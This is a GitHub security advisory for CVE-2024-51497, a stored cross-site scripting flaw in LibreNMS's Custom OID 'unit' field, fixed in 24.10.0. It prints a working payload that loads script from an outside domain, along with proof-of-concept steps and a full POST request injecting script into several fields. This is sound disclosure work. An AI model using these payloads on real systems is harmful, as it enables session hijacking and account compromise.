Skip to content

LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.php

High severity GitHub Reviewed Published Nov 15, 2024 in librenms/librenms • Updated Nov 15, 2024

Package

composer librenms/librenms (Composer)

Affected versions

<= 24.9.1

Patched versions

24.10.0

Description

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the "Custom OID" tab of a device allows authenticated users to inject arbitrary JavaScript through the "unit" parameter when creating a new OID. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.

Details

When creating a new OID for a device, an attacker can inject an XSS payload into the "unit" parameter. This payload is reflected in the "Unit" column of the table displayed in the "Custom OID" tab of the device.

The payload used to exploit this vulnerability is:
<script/src=//15.rs>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The vulnerability is due to improper sanitization of the "unit" parameter before rendering it in the HTML output. The sink is as follows:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/print-customoid.php#L90

PoC

  1. Create a new OID for a device using the following payload in the "unit" parameter:
    <script/src=//15.rs>
  2. Save the OID.
  3. Navigate to the "Custom OID" tab of the device.
  4. Observe that the injected script executes in the "Unit" column of the table.

Example Request:

POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>

device_id=15&device_name=test4'&ccustomoid_id=2&type=customoid&action=save&name=test1<script>{onerror=alert}throw+'OID'</script>&oid=test2<script>{onerror=alert}throw+'OID'</script>&unit=<script/src=//15.rs>&divisor=1&multiplier=1&user_func=test4<script>{onerror=alert}throw+'OID'</script>&limit=0&limit_low=0&limit_warn=0&limit_low_warn=0&passed=on

Impact

This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Custom OID" tab of the device. This could lead to the compromise of user accounts and unauthorized actions being performed on their behalf.

References

@murrant murrant published to librenms/librenms Nov 15, 2024
Published to the GitHub Advisory Database Nov 15, 2024
Reviewed Nov 15, 2024
Published by the National Vulnerability Database Nov 15, 2024
Last updated Nov 15, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L

EPSS score

0.045%
(15th percentile)

Weaknesses

CVE ID

CVE-2024-51497

GHSA ID

GHSA-gv4m-f6fx-859x

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.